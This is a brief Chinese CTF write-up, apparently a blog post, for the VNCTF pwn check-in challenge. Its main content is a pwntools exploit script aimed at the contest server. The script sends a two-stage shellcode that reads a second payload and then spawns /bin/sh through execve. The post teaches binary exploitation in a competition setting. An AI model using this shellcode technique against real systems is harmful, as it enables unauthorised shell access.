vnctf pwn签到

签到

不知道为啥,我shellcraft生成的后半部分就是用不了,换成手写的就好了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

# p=process('./pwn')
# gdb.attach(p)
# pause()

p=remote('node.vnteam.cn',43424)

shellcode=asm('''   

mov rsi, rdi
add rsi,0x20
xor rdi, rdi
mov rdx, 0x40         
syscall
jmp rsi
''')
p.send(shellcode)

shell=asm('''
   mov rsp, 0            # 复制 rsi 到 rsp
   shl rsp, 32             # 将 rsp 左移 32 位
   add rsp, rsi
   add rsp,0x800
   mov rbp,rsp
 ''')
shell+=asm(
  '''
    mov rbx, 0x0068732f6e69622f
    push rbx                   
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,59
    syscall
    '''
)

p.send(shell)
p.interactive()

后面的题等我有实力了再复现吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值